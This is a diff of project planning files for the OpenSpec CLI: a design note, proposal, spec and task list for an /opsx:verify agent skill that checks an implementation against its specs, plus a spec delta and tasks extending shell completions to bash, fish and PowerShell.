- [x] 4.1 Add unit tests for feedback command (mock `gh` subprocess calls)
|
||||
- [x] 4.2 Add integration test for full feedback flow with mocked `gh` CLI
|
||||
- [x] 4.3 Test error handling for missing `gh` CLI
|
||||
- [x] 4.4 Test error handling for unauthenticated `gh` session
|
||||
- [x] 4.5 Test cross-platform `gh` CLI detection (verify `which` on Unix, `where` on Windows)
|
||||
- [x] 4.6 Test platform metadata includes correct value for Windows (win32)
|
||||
@@ -0,0 +1,96 @@
|
||||
# Design: Add /opsx:verify Skill
|
||||
|
||||
## Architecture Decision: Dynamic Generation via Setup Command
|
||||
|
||||
### Context
|
||||
|
||||
All existing opsx experimental skills (explore, new, continue, apply, ff, sync, archive) are dynamically generated when users run `openspec artifact-experimental-setup`. They are not manually created files checked into the repository.
|
||||
|
||||
### Decision
|
||||
|
||||
**Integrate verify into the existing artifact-experimental-setup system rather than creating static skill files.**
|
||||
|
||||
### Rationale
|
||||
|
||||
1. **Consistency**: All 7 existing opsx skills follow this pattern. Adding verify as the 8th skill should follow the same architecture.
|
||||
|
||||
2. **Maintainability**: Template functions in `skill-templates.ts` are the single source of truth. Changes to skill definitions automatically propagate to all users when they re-run setup.
|
||||
|
||||
3. **Distribution**: Users get the verify skill automatically when running `openspec artifact-experimental-setup`, just like all other opsx skills. No special installation steps needed.
|
||||
|
||||
4. **Versioning**: Skills are generated from the installed npm package version, ensuring consistency between CLI version and skill behavior.
|
||||
|
||||
### Implementation Approach
|
||||
|
||||
#### 1. Template Functions
|
||||
|
||||
Add two template functions to `src/core/templates/skill-templates.ts`:
|
||||
|
||||
```typescript
|
||||
export function getVerifyChangeSkillTemplate(): SkillTemplate
|
||||
export function getOpsxVerifyCommandTemplate(): CommandTemplate
|
||||
```
|
||||
|
||||
These return the skill definition (for Agent Skills) and slash command definition (for explicit invocation).
|
||||
|
||||
#### 2. Setup Integration
|
||||
|
||||
Update `artifactExperimentalSetupCommand()` in `src/commands/artifact-workflow.ts`:
|
||||
|
||||
- Import both template functions
|
||||
- Add verify to the `skills` array (position 8)
|
||||
- Add verify to the `commands` array (position 8)
|
||||
- Update help text to list `/opsx:verify`
|
||||
|
||||
#### 3. Generated Artifacts
|
||||
|
||||
When users run `openspec artifact-experimental-setup`, the command creates:
|
||||
|
||||
- `.claude/skills/openspec-verify-change/SKILL.md` - Agent Skills format
|
||||
- `.claude/commands/opsx/verify.md` - Slash command format
|
||||
|
||||
Both are generated from the template functions, with YAML frontmatter automatically added.
|
||||
|
||||
### Alternatives Considered
|
||||
|
||||
**Alternative 1: Static skill files in repository**
|
||||
|
||||
Create `.claude/skills/openspec-verify-change/SKILL.md` as a static file in the OpenSpec repository.
|
||||
|
||||
**Rejected because:**
|
||||
- Inconsistent with all other opsx skills
|
||||
- Requires users to manually copy/update files
|
||||
- Versioning becomes complicated (repo version vs installed package version)
|
||||
- Breaks the established pattern
|
||||
|
||||
**Alternative 2: Separate verify setup command**
|
||||
|
||||
Add `openspec setup-verify` as a separate command.
|
||||
|
||||
**Rejected because:**
|
||||
- Fragments the setup experience
|
||||
- Users would need to run multiple commands
|
||||
- Doesn't scale if we add more skills in the future
|
||||
- Goes against the "setup once, get everything" philosophy
|
||||
|
||||
### Trade-offs
|
||||
|
||||
**Advantages:**
|
||||
- Consistent with existing architecture
|
||||
- Zero additional setup burden for users
|
||||
- Easy to update and maintain
|
||||
- Automatic version compatibility
|
||||
|
||||
**Disadvantages:**
|
||||
- Slightly more complex initial implementation (template functions + integration)
|
||||
- Requires understanding the setup system (but that's already documented)
|
||||
|
||||
### Verification
|
||||
|
||||
The implementation correctly follows this design if:
|
||||
|
||||
1. Both template functions exist in `skill-templates.ts`
|
||||
2. Verify appears in both skills and commands arrays in `artifact-workflow.ts`
|
||||
3. Help text mentions `/opsx:verify`
|
||||
4. Running `openspec artifact-experimental-setup` generates both skill and command files
|
||||
5. Build succeeds with no TypeScript errors
|
||||
@@ -0,0 +1,48 @@
|
||||
# Change: Add /opsx:verify Skill
|
||||
|
||||
## Why
|
||||
|
||||
Users need a way to validate that their implementation actually matches what was requested before archiving a change. Currently, there's no systematic way to check:
|
||||
- Whether all tasks are truly complete
|
||||
- Whether the implementation covers all spec requirements and scenarios
|
||||
- Whether the implementation follows the design decisions
|
||||
- Whether the code is coherent and makes sense
|
||||
|
||||
A user requested: "Can we get a :verify that will ensure that the implementation matches what was requested?"
|
||||
|
||||
## What Changes
|
||||
|
||||
- Add `getVerifyChangeSkillTemplate()` function to `skill-templates.ts`
|
||||
- Add `getOpsxVerifyCommandTemplate()` function to `skill-templates.ts`
|
||||
- Integrate verify skill into `artifactExperimentalSetupCommand` in `artifact-workflow.ts`
|
||||
- Add verify to the skills and commands arrays in the setup command
|
||||
- Update help text to include `/opsx:verify` in the list of available commands
|
||||
- Create `opsx-verify-skill` capability spec
|
||||
|
||||
## Verification Dimensions
|
||||
|
||||
The skill verifies across three dimensions:
|
||||
|
||||
1. **Completeness** - Are all tasks done? Are all specs addressed?
|
||||
2. **Correctness** - Does the implementation match specs? Are scenarios covered?
|
||||
3. **Coherence** - Does the implementation make sense? Does it follow design.md?
|
||||
|
||||
## Output Format
|
||||
|
||||
Produces a prioritized report with:
|
||||
- Summary scorecard (tasks, specs, design adherence)
|
||||
- Critical issues first (must fix before archive)
|
||||
- Warnings second (should fix)
|
||||
- Suggestions third (nice to have)
|
||||
- Actionable fix recommendations for each issue
|
||||
|
||||
## Impact
|
||||
|
||||
- Affected specs: New `opsx-verify-skill` spec
|
||||
- Affected code:
|
||||
- `src/core/templates/skill-templates.ts` - Added 2 new template functions
|
||||
- `src/commands/artifact-workflow.ts` - Integrated verify into experimental setup
|
||||
- Generated artifacts: When users run `openspec artifact-experimental-setup`:
|
||||
- Creates `.claude/skills/openspec-verify-change/SKILL.md`
|
||||
- Creates `.claude/commands/opsx/verify.md`
|
||||
- Related skills: Works alongside `/opsx:apply` and before `/opsx:archive`
|
||||
@@ -0,0 +1,190 @@
|
||||
# opsx-verify-skill Specification
|
||||
|
||||
## Purpose
|
||||
Defines the agent skill for verifying that implementation matches change artifacts (specs, tasks, design).
|
||||
|
||||
## ADDED Requirements
|
||||
|
||||
### Requirement: Verify Skill Invocation
|
||||
The system SHALL provide an `/opsx:verify` skill that validates implementation against change artifacts.
|
||||
|
||||
#### Scenario: Verify with change name provided
|
||||
- **WHEN** agent executes `/opsx:verify <change-name>`
|
||||
- **THEN** the agent verifies implementation for that specific change
|
||||
- **AND** produces a verification report
|
||||
|
||||
#### Scenario: Verify without change name
|
||||
- **WHEN** agent executes `/opsx:verify` without a change name
|
||||
- **THEN** the agent prompts user to select from available changes
|
||||
- **AND** shows only changes that have implementation tasks
|
||||
|
||||
#### Scenario: Change has no tasks
|
||||
- **WHEN** selected change has no tasks.md or tasks are empty
|
||||
- **THEN** the agent reports "No tasks to verify"
|
||||
- **AND** suggests running `/opsx:continue` to create tasks
|
||||
|
||||
### Requirement: Completeness Verification
|
||||
The agent SHALL verify that all required work has been completed.
|
||||
|
||||
#### Scenario: Task completion check
|
||||
- **WHEN** verifying completeness
|
||||
- **THEN** the agent reads tasks.md
|
||||
- **AND** counts tasks marked `- [x]` (complete) vs `- [ ]` (incomplete)
|
||||
- **AND** reports completion status with specific incomplete tasks listed
|
||||
|
||||
#### Scenario: Spec coverage check
|
||||
- **WHEN** verifying completeness
|
||||
- **AND** delta specs exist in `openspec/changes/<name>/specs/`
|
||||
- **THEN** the agent extracts all requirements from delta specs
|
||||
- **AND** searches codebase for implementation of each requirement
|
||||
- **AND** reports which requirements appear to have implementation vs which are missing
|
||||
|
||||
#### Scenario: All tasks complete
|
||||
- **WHEN** all tasks are marked complete
|
||||
- **THEN** report "Tasks: N/N complete"
|
||||
- **AND** mark completeness dimension as passed
|
||||
|
||||
#### Scenario: Incomplete tasks found
|
||||
- **WHEN** some tasks are incomplete
|
||||
- **THEN** report "Tasks: X/N complete"
|
||||
- **AND** list each incomplete task
|
||||
- **AND** mark as CRITICAL issue
|
||||
- **AND** suggest: "Complete remaining tasks or mark as done if already implemented"
|
||||
|
||||
### Requirement: Correctness Verification
|
||||
The agent SHALL verify that implementation matches the specifications.
|
||||
|
||||
#### Scenario: Requirement implementation mapping
|
||||
- **WHEN** verifying correctness
|
||||
- **THEN** for each requirement in delta specs:
|
||||
- Search codebase for implementation
|
||||
- Identify relevant files and line numbers
|
||||
- Assess whether implementation satisfies the requirement
|
||||
|
||||
#### Scenario: Scenario coverage check
|
||||
- **WHEN** verifying correctness
|
||||
- **THEN** for each scenario in delta specs:
|
||||
- Check if the scenario's conditions are handled in code
|
||||
- Check if tests exist that cover the scenario
|
||||
- Report coverage status
|
||||
|
||||
#### Scenario: Implementation matches spec
|
||||
- **WHEN** implementation appears to satisfy a requirement
|
||||
- **THEN** report which files/lines implement it
|
||||
- **AND** mark requirement as covered
|
||||
|
||||
#### Scenario: Implementation diverges from spec
|
||||
- **WHEN** implementation exists but doesn't match spec intent
|
||||
- **THEN** report the divergence as WARNING
|
||||
- **AND** explain what differs
|
||||
- **AND** suggest: either update implementation or update spec to match reality
|
||||
|
||||
#### Scenario: Missing implementation
|
||||
- **WHEN** no implementation found for a requirement
|
||||
- **THEN** report as CRITICAL issue
|
||||
- **AND** suggest: "Implement requirement X" with guidance on what's needed
|
||||
|
||||
### Requirement: Coherence Verification
|
||||
The agent SHALL verify that implementation is sensible and follows design decisions.
|
||||
|
||||
#### Scenario: Design.md adherence check
|
||||
- **WHEN** verifying coherence
|
||||
- **AND** design.md exists for the change
|
||||
- **THEN** extract key decisions from design.md
|
||||
- **AND** verify implementation follows those decisions
|
||||
- **AND** report any deviations
|
||||
|
||||
#### Scenario: No design.md
|
||||
- **WHEN** verifying coherence
|
||||
- **AND** no design.md exists
|
||||
- **THEN** skip design adherence check
|
||||
- **AND** note "No design.md to verify against"
|
||||
|
||||
#### Scenario: Design decision followed
|
||||
- **WHEN** implementation follows a design decision
|
||||
- **THEN** report as confirmed
|
||||
- **AND** cite evidence from code
|
||||
|
||||
#### Scenario: Design decision violated
|
||||
- **WHEN** implementation contradicts a design decision
|
||||
- **THEN** report as WARNING
|
||||
- **AND** explain the contradiction
|
||||
- **AND** suggest: either update implementation or update design.md
|
||||
|
||||
#### Scenario: Code pattern consistency
|
||||
- **WHEN** verifying coherence
|
||||
- **THEN** check if new code follows existing project patterns
|
||||
- **AND** flag any significant deviations as suggestions
|
||||
|
||||
### Requirement: Verification Report Format
|
||||
The agent SHALL produce a structured, prioritized report.
|
||||
|
||||
#### Scenario: Report summary
|
||||
- **WHEN** verification completes
|
||||
- **THEN** display summary scorecard:
|
||||
```
|
||||
## Verification Report: <change-name>
|
||||
|
||||
### Summary
|
||||
| Dimension | Status |
|
||||
|--------------|----------|
|
||||
| Completeness | X/Y |
|
||||
| Correctness | X/Y |
|
||||
| Coherence | Followed |
|
||||
```
|
||||
|
||||
#### Scenario: Issue prioritization
|
||||
- **WHEN** issues are found
|
||||
- **THEN** group and display in priority order:
|
||||
1. CRITICAL - Must fix before archive (missing implementation, incomplete tasks)
|
||||
2. WARNING - Should fix (divergence from spec/design, missing tests)
|
||||
3. SUGGESTION - Nice to fix (pattern inconsistencies, minor improvements)
|
||||
|
||||
#### Scenario: Actionable recommendations
|
||||
- **WHEN** reporting an issue
|
||||
- **THEN** include specific, actionable fix recommendation
|
||||
- **AND** reference relevant files and line numbers where applicable
|
||||
- **AND** avoid vague suggestions like "consider reviewing"
|
||||
|
||||
#### Scenario: All checks pass
|
||||
- **WHEN** no issues found across all dimensions
|
||||
- **THEN** display:
|
||||
```
|
||||
All checks passed. Ready for archive.
|
||||
```
|
||||
|
||||
#### Scenario: Critical issues found
|
||||
- **WHEN** CRITICAL issues exist
|
||||
- **THEN** display:
|
||||
```
|
||||
X critical issue(s) found. Fix before archiving.
|
||||
```
|
||||
- **AND** do NOT suggest running archive
|
||||
|
||||
#### Scenario: Only warnings/suggestions
|
||||
- **WHEN** no CRITICAL issues but warnings exist
|
||||
- **THEN** display:
|
||||
```
|
||||
No critical issues. Y warning(s) to consider.
|
||||
Ready for archive (with noted improvements).
|
||||
```
|
||||
|
||||
### Requirement: Flexible Artifact Handling
|
||||
The agent SHALL gracefully handle changes with varying artifact completeness.
|
||||
|
||||
#### Scenario: Minimal change (tasks only)
|
||||
- **WHEN** change has only tasks.md
|
||||
- **THEN** verify task completion only
|
||||
- **AND** skip spec and design checks
|
||||
- **AND** note which checks were skipped
|
||||
|
||||
#### Scenario: Change with specs but no design
|
||||
- **WHEN** change has tasks.md and delta specs but no design.md
|
||||
- **THEN** verify completeness and correctness
|
||||
- **AND** skip design adherence
|
||||
- **AND** still check code coherence against project patterns
|
||||
|
||||
#### Scenario: Full change (all artifacts)
|
||||
- **WHEN** change has proposal, design, specs, and tasks
|
||||
- **THEN** perform all verification checks
|
||||
- **AND** cross-reference artifacts for consistency
|
||||
@@ -0,0 +1,15 @@
|
||||
# Tasks: Add /opsx:verify Skill
|
||||
|
||||
## 1. Skill Template Functions
|
||||
- [x] 1.1 Add `getVerifyChangeSkillTemplate()` to skill-templates.ts
|
||||
- [x] 1.2 Add `getOpsxVerifyCommandTemplate()` to skill-templates.ts
|
||||
|
||||
## 2. Integration with artifact-experimental-setup
|
||||
- [x] 2.1 Import verify template functions in artifact-workflow.ts
|
||||
- [x] 2.2 Add verify to skills array in artifactExperimentalSetupCommand
|
||||
- [x] 2.3 Add verify to commands array in artifactExperimentalSetupCommand
|
||||
- [x] 2.4 Add verify to help text output
|
||||
|
||||
## 3. Verification (Build & Test)
|
||||
- [x] 3.1 Verify TypeScript compilation succeeds
|
||||
- [x] 3.2 Verify all 8 skills are now included (was 7, now 8)
|
||||
@@ -0,0 +1,15 @@
|
||||
# Change Proposal: Extend Shell Completions
|
||||
|
||||
## Why
|
||||
|
||||
Zsh completions provide an excellent developer experience, but many developers use bash, fish, or PowerShell. Extending completion support to these shells removes friction for the majority of developers who don't use Zsh.
|
||||
|
||||
## What Changes
|
||||
|
||||
This change adds bash, fish, and PowerShell completion support following the same architectural patterns, documentation methodology, and testing rigor established for Zsh completions.
|
||||
|
||||
## Deltas
|
||||
|
||||
- **Spec:** `cli-completion`
|
||||
- **Operation:** MODIFIED
|
||||
- **Description:** Extend completion generation, installation, and testing requirements to support bash, fish, and PowerShell while maintaining the existing Zsh implementation and architectural patterns
|
||||
+328
@@ -0,0 +1,328 @@
|
||||
# cli-completion Spec Delta
|
||||
|
||||
## MODIFIED Requirements
|
||||
|
||||
### Requirement: Native Shell Behavior Integration
|
||||
|
||||
The completion system SHALL respect and integrate with each supported shell's native completion patterns and user interaction model.
|
||||
|
||||
#### Scenario: Zsh native completion
|
||||
|
||||
- **WHEN** generating Zsh completion scripts
|
||||
- **THEN** use Zsh completion system with `_arguments`, `_describe`, and `compadd`
|
||||
- **AND** completions SHALL trigger on single TAB (standard Zsh behavior)
|
||||
- **AND** display as an interactive menu that users navigate with TAB/arrow keys
|
||||
- **AND** support Oh My Zsh's enhanced menu styling automatically
|
||||
|
||||
#### Scenario: Bash native completion
|
||||
|
||||
- **WHEN** generating Bash completion scripts
|
||||
- **THEN** use Bash completion with `complete` builtin and `COMPREPLY` array
|
||||
- **AND** completions SHALL trigger on double TAB (standard Bash behavior)
|
||||
- **AND** display as space-separated list or column format
|
||||
- **AND** support both bash-completion v1 and v2 patterns
|
||||
|
||||
#### Scenario: Fish native completion
|
||||
|
||||
- **WHEN** generating Fish completion scripts
|
||||
- **THEN** use Fish's `complete` command with conditions
|
||||
- **AND** completions SHALL trigger on single TAB with auto-suggestion preview
|
||||
- **AND** display with Fish's native coloring and description alignment
|
||||
- **AND** leverage Fish's built-in caching automatically
|
||||
|
||||
#### Scenario: PowerShell native completion
|
||||
|
||||
- **WHEN** generating PowerShell completion scripts
|
||||
- **THEN** use `Register-ArgumentCompleter` with scriptblock
|
||||
- **AND** completions SHALL trigger on TAB with cycling behavior
|
||||
- **AND** display with PowerShell's native completion UI
|
||||
- **AND** support both Windows PowerShell 5.1 and PowerShell Core 7+
|
||||
|
||||
#### Scenario: No custom UX patterns
|
||||
|
||||
- **WHEN** implementing completion for any shell
|
||||
- **THEN** do NOT attempt to customize completion trigger behavior
|
||||
- **AND** do NOT override shell-specific navigation patterns
|
||||
- **AND** ensure completions feel native to experienced users of that shell
|
||||
|
||||
### Requirement: Shell Detection
|
||||
|
||||
The completion system SHALL automatically detect the user's current shell environment.
|
||||
|
||||
#### Scenario: Detecting Zsh from environment
|
||||
|
||||
- **WHEN** no shell is explicitly specified
|
||||
- **THEN** read the `$SHELL` environment variable
|
||||
- **AND** extract the shell name from the path (e.g., `/bin/zsh` → `zsh`)
|
||||
- **AND** validate the shell is one of: `zsh`, `bash`, `fish`, `powershell`
|
||||
- **AND** throw an error if the shell is not supported
|
||||
|
||||
#### Scenario: Detecting Bash from environment
|
||||
|
||||
- **WHEN** `$SHELL` contains `bash` in the path
|
||||
- **THEN** detect shell as `bash`
|
||||
- **AND** proceed with bash-specific completion logic
|
||||
|
||||
#### Scenario: Detecting Fish from environment
|
||||
|
||||
- **WHEN** `$SHELL` contains `fish` in the path
|
||||
- **THEN** detect shell as `fish`
|
||||
- **AND** proceed with fish-specific completion logic
|
||||
|
||||
#### Scenario: Detecting PowerShell from environment
|
||||
|
||||
- **WHEN** `$PSModulePath` environment variable is present
|
||||
- **THEN** detect shell as `powershell`
|
||||
- **AND** proceed with PowerShell-specific completion logic
|
||||
|
||||
#### Scenario: Unsupported shell detection
|
||||
|
||||
- **WHEN** shell path indicates an unsupported shell
|
||||
- **THEN** throw error: "Shell '<name>' is not supported. Supported shells: zsh, bash, fish, powershell"
|
||||
|
||||
### Requirement: Completion Generation
|
||||
|
||||
The completion command SHALL generate completion scripts for all supported shells on demand.
|
||||
|
||||
#### Scenario: Generating Zsh completion
|
||||
|
||||
- **WHEN** user executes `openspec completion generate zsh`
|
||||
- **THEN** output a complete Zsh completion script to stdout
|
||||
- **AND** include completions for all commands: init, list, show, validate, archive, view, update, change, spec, completion
|
||||
- **AND** include all command-specific flags and options
|
||||
- **AND** use Zsh's `_arguments` and `_describe` built-in functions
|
||||
- **AND** support dynamic completion for change and spec IDs
|
||||
|
||||
#### Scenario: Generating Bash completion
|
||||
|
||||
- **WHEN** user executes `openspec completion generate bash`
|
||||
- **THEN** output a complete Bash completion script to stdout
|
||||
- **AND** include completions for all commands and subcommands
|
||||
- **AND** use `complete -F` with custom completion function
|
||||
- **AND** populate `COMPREPLY` with appropriate suggestions
|
||||
- **AND** support dynamic completion for change and spec IDs via `openspec __complete`
|
||||
|
||||
#### Scenario: Generating Fish completion
|
||||
|
||||
- **WHEN** user executes `openspec completion generate fish`
|
||||
- **THEN** output a complete Fish completion script to stdout
|
||||
- **AND** use `complete -c openspec` with conditions
|
||||
- **AND** include command-specific completions with `--condition` predicates
|
||||
- **AND** support dynamic completion for change and spec IDs via `openspec __complete`
|
||||
- **AND** include descriptions for each completion option
|
||||
|
||||
#### Scenario: Generating PowerShell completion
|
||||
|
||||
- **WHEN** user executes `openspec completion generate powershell`
|
||||
- **THEN** output a complete PowerShell completion script to stdout
|
||||
- **AND** use `Register-ArgumentCompleter -CommandName openspec`
|
||||
- **AND** implement scriptblock that handles command context
|
||||
- **AND** support dynamic completion for change and spec IDs via `openspec __complete`
|
||||
- **AND** return `[System.Management.Automation.CompletionResult]` objects
|
||||
|
||||
### Requirement: Installation Automation
|
||||
|
||||
The completion command SHALL automatically install completion scripts into shell configuration files for all supported shells.
|
||||
|
||||
#### Scenario: Installing for Oh My Zsh
|
||||
|
||||
- **WHEN** user executes `openspec completion install zsh`
|
||||
- **THEN** detect if Oh My Zsh is installed by checking for `$ZSH` environment variable or `~/.oh-my-zsh/` directory
|
||||
- **AND** create custom completions directory at `~/.oh-my-zsh/custom/completions/` if it doesn't exist
|
||||
- **AND** write completion script to `~/.oh-my-zsh/custom/completions/_openspec`
|
||||
- **AND** ensure `~/.oh-my-zsh/custom/completions` is in `$fpath` by updating `~/.zshrc` if needed
|
||||
- **AND** display success message with instruction to run `exec zsh` or restart terminal
|
||||
|
||||
#### Scenario: Installing for standard Zsh
|
||||
|
||||
- **WHEN** user executes `openspec completion install zsh` and Oh My Zsh is not detected
|
||||
- **THEN** create completions directory at `~/.zsh/completions/` if it doesn't exist
|
||||
- **AND** write completion script to `~/.zsh/completions/_openspec`
|
||||
- **AND** add `fpath=(~/.zsh/completions $fpath)` to `~/.zshrc` if not already present
|
||||
- **AND** add `autoload -Uz compinit && compinit` to `~/.zshrc` if not already present
|
||||
- **AND** display success message with instruction to run `exec zsh` or restart terminal
|
||||
|
||||
#### Scenario: Installing for Bash with bash-completion
|
||||
|
||||
- **WHEN** user executes `openspec completion install bash`
|
||||
- **THEN** detect if bash-completion is installed by checking for `/usr/share/bash-completion` or `/etc/bash_completion.d`
|
||||
- **AND** if bash-completion is available, write to `/etc/bash_completion.d/openspec` (with sudo) or `~/.local/share/bash-completion/completions/openspec`
|
||||
- **AND** if bash-completion is not available, write to `~/.bash_completion.d/openspec` and source it from `~/.bashrc`
|
||||
- **AND** add sourcing line to `~/.bashrc` using marker-based updates if needed
|
||||
- **AND** display success message with instruction to run `exec bash` or restart terminal
|
||||
|
||||
#### Scenario: Installing for Fish
|
||||
|
||||
- **WHEN** user executes `openspec completion install fish`
|
||||
- **THEN** create Fish completions directory at `~/.config/fish/completions/` if it doesn't exist
|
||||
- **AND** write completion script to `~/.config/fish/completions/openspec.fish`
|
||||
- **AND** Fish automatically loads completions from this directory (no config file modification needed)
|
||||
- **AND** display success message indicating completions are immediately available
|
||||
|
||||
#### Scenario: Installing for PowerShell
|
||||
|
||||
- **WHEN** user executes `openspec completion install powershell`
|
||||
- **THEN** detect PowerShell profile location via `$PROFILE` environment variable or default paths
|
||||
- **AND** create profile directory if it doesn't exist
|
||||
- **AND** add completion script import to profile using marker-based updates
|
||||
- **AND** write completion script to PowerShell modules directory or alongside profile
|
||||
- **AND** display success message with instruction to restart PowerShell or run `. $PROFILE`
|
||||
|
||||
#### Scenario: Auto-detecting shell for installation
|
||||
|
||||
- **WHEN** user executes `openspec completion install` without specifying a shell
|
||||
- **THEN** detect current shell using shell detection logic
|
||||
- **AND** install completion for the detected shell (zsh, bash, fish, or powershell)
|
||||
- **AND** display which shell was detected
|
||||
|
||||
#### Scenario: Already installed
|
||||
|
||||
- **WHEN** completion is already installed for the target shell
|
||||
- **THEN** display message indicating completion is already installed
|
||||
- **AND** offer to reinstall/update by overwriting existing files
|
||||
- **AND** exit with code 0
|
||||
|
||||
### Requirement: Uninstallation
|
||||
|
||||
The completion command SHALL remove installed completion scripts and configuration for all supported shells.
|
||||
|
||||
#### Scenario: Uninstalling Zsh completion
|
||||
|
||||
- **WHEN** user executes `openspec completion uninstall zsh`
|
||||
- **THEN** prompt for confirmation before proceeding (unless `--yes` flag provided)
|
||||
- **AND** if user declines, cancel uninstall and display "Uninstall cancelled."
|
||||
- **AND** if user confirms, remove `~/.oh-my-zsh/custom/completions/_openspec` if Oh My Zsh is detected
|
||||
- **AND** remove `~/.zsh/completions/_openspec` if standard Zsh setup is detected
|
||||
- **AND** remove fpath modifications from `~/.zshrc` using marker-based removal
|
||||
- **AND** display success message
|
||||
|
||||
#### Scenario: Uninstalling Bash completion
|
||||
|
||||
- **WHEN** user executes `openspec completion uninstall bash`
|
||||
- **THEN** prompt for confirmation (unless `--yes` flag provided)
|
||||
- **AND** if user confirms, remove completion file from bash-completion directory or `~/.bash_completion.d/`
|
||||
- **AND** remove sourcing lines from `~/.bashrc` using marker-based removal
|
||||
- **AND** display success message
|
||||
|
||||
#### Scenario: Uninstalling Fish completion
|
||||
|
||||
- **WHEN** user executes `openspec completion uninstall fish`
|
||||
- **THEN** prompt for confirmation (unless `--yes` flag provided)
|
||||
- **AND** if user confirms, remove `~/.config/fish/completions/openspec.fish`
|
||||
- **AND** display success message (no config file modification needed)
|
||||
|
||||
#### Scenario: Uninstalling PowerShell completion
|
||||
|
||||
- **WHEN** user executes `openspec completion uninstall powershell`
|
||||
- **THEN** prompt for confirmation (unless `--yes` flag provided)
|
||||
- **AND** if user confirms, remove completion import from PowerShell profile using marker-based removal
|
||||
- **AND** remove completion script file
|
||||
- **AND** display success message
|
||||
|
||||
#### Scenario: Auto-detecting shell for uninstallation
|
||||
|
||||
- **WHEN** user executes `openspec completion uninstall` without specifying a shell
|
||||
- **THEN** detect current shell and uninstall completion for that shell
|
||||
|
||||
#### Scenario: Not installed
|
||||
|
||||
- **WHEN** attempting to uninstall completion that isn't installed
|
||||
- **THEN** display error message indicating completion is not installed
|
||||
- **AND** exit with code 1
|
||||
|
||||
### Requirement: Architecture Patterns
|
||||
|
||||
The completion implementation SHALL follow clean architecture principles with TypeScript best practices, supporting multiple shells through a plugin-based pattern.
|
||||
|
||||
#### Scenario: Shell-specific generators
|
||||
|
||||
- **WHEN** implementing completion generators
|
||||
- **THEN** create generator classes for each shell: `ZshGenerator`, `BashGenerator`, `FishGenerator`, `PowerShellGenerator`
|
||||
- **AND** implement a common `CompletionGenerator` interface with method:
|
||||
- `generate(commands: CommandDefinition[]): string` - Returns complete shell script
|
||||
- **AND** each generator handles shell-specific syntax, escaping, and patterns
|
||||
- **AND** all generators consume the same `CommandDefinition[]` from the command registry
|
||||
|
||||
#### Scenario: Shell-specific installers
|
||||
|
||||
- **WHEN** implementing completion installers
|
||||
- **THEN** create installer classes for each shell: `ZshInstaller`, `BashInstaller`, `FishInstaller`, `PowerShellInstaller`
|
||||
- **AND** implement a common `CompletionInstaller` interface with methods:
|
||||
- `install(script: string): Promise<InstallationResult>` - Installs completion script
|
||||
- `uninstall(): Promise<{ success: boolean; message: string }>` - Removes completion
|
||||
- **AND** each installer handles shell-specific paths, config files, and installation patterns
|
||||
|
||||
#### Scenario: Factory pattern for shell selection
|
||||
|
||||
- **WHEN** selecting shell-specific implementation
|
||||
- **THEN** use `CompletionFactory` class with static methods:
|
||||
- `createGenerator(shell: SupportedShell): CompletionGenerator`
|
||||
- `createInstaller(shell: SupportedShell): CompletionInstaller`
|
||||
- **AND** factory uses switch statements with TypeScript exhaustiveness checking
|
||||
- **AND** adding new shell requires updating `SupportedShell` type and factory cases
|
||||
|
||||
#### Scenario: Dynamic completion providers
|
||||
|
||||
- **WHEN** implementing dynamic completions
|
||||
- **THEN** create a `CompletionProvider` class that encapsulates project discovery logic
|
||||
- **AND** implement methods:
|
||||
- `getChangeIds(): Promise<string[]>` - Discovers active change IDs
|
||||
- `getSpecIds(): Promise<string[]>` - Discovers spec IDs
|
||||
- `isOpenSpecProject(): boolean` - Checks if current directory is OpenSpec-enabled
|
||||
- **AND** implement caching with 2-second TTL using class properties
|
||||
|
||||
#### Scenario: Command registry
|
||||
|
||||
- **WHEN** defining completable commands
|
||||
- **THEN** create a centralized `CommandDefinition` type with properties:
|
||||
- `name: string` - Command name
|
||||
- `description: string` - Help text
|
||||
- `flags: FlagDefinition[]` - Available flags
|
||||
- `acceptsPositional: boolean` - Whether command takes positional arguments
|
||||
- `positionalType: string` - Type of positional (change-id, spec-id, path, shell)
|
||||
- `subcommands?: CommandDefinition[]` - Nested subcommands
|
||||
- **AND** export a `COMMAND_REGISTRY` constant with all command definitions
|
||||
- **AND** all generators consume this registry to ensure consistency across shells
|
||||
|
||||
#### Scenario: Type-safe shell detection
|
||||
|
||||
- **WHEN** implementing shell detection
|
||||
- **THEN** define a `SupportedShell` type as literal type: `'zsh' | 'bash' | 'fish' | 'powershell'`
|
||||
- **AND** implement `detectShell()` function in `src/utils/shell-detection.ts`
|
||||
- **AND** return detected shell or throw error with supported shells list
|
||||
|
||||
### Requirement: Testing Support
|
||||
|
||||
The completion implementation SHALL be testable with unit and integration tests for all supported shells.
|
||||
|
||||
#### Scenario: Mock shell environment
|
||||
|
||||
- **WHEN** writing tests for shell detection
|
||||
- **THEN** allow overriding `$SHELL` and `$PSModulePath` environment variables
|
||||
- **AND** use dependency injection for file system operations
|
||||
- **AND** test detection for all four shells independently
|
||||
|
||||
#### Scenario: Generator output verification
|
||||
|
||||
- **WHEN** testing completion generators
|
||||
- **THEN** create test suite for each shell generator (zsh, bash, fish, powershell)
|
||||
- **AND** verify generated scripts contain expected patterns for that shell
|
||||
- **AND** test that command registry is properly consumed
|
||||
- **AND** ensure dynamic completion placeholders are present
|
||||
- **AND** verify shell-specific syntax and escaping
|
||||
|
||||
#### Scenario: Installer simulation
|
||||
|
||||
- **WHEN** testing installation logic
|
||||
- **THEN** create test suite for each shell installer
|
||||
- **AND** use temporary test directories instead of actual home directories
|
||||
- **AND** verify file creation without modifying real shell configurations
|
||||
- **AND** test path resolution logic independently
|
||||
- **AND** mock file system operations to avoid side effects
|
||||
|
||||
#### Scenario: Cross-shell consistency
|
||||
|
||||
- **WHEN** testing completion behavior
|
||||
- **THEN** verify all shells support the same commands and flags
|
||||
- **AND** verify dynamic completions work consistently across shells
|
||||
- **AND** ensure error messages are consistent across shells
|
||||
@@ -0,0 +1,49 @@
|
||||
# Implementation Tasks
|
||||
|
||||
## Phase 1: Foundation and Bash Support
|
||||
|
||||
- [x] Update `SupportedShell` type in `src/utils/shell-detection.ts` to include `'bash' | 'fish' | 'powershell'`
|
||||
- [x] Extend shell detection logic to recognize bash, fish, and PowerShell from environment variables
|
||||
- [x] Create `src/core/completions/generators/bash-generator.ts` implementing `CompletionGenerator` interface
|
||||
- [x] Create `src/core/completions/installers/bash-installer.ts` implementing `CompletionInstaller` interface
|
||||
- [x] Update `CompletionFactory.createGenerator()` to support bash
|
||||
- [x] Update `CompletionFactory.createInstaller()` to support bash
|
||||
- [x] Create test file `test/core/completions/generators/bash-generator.test.ts` mirroring zsh test structure
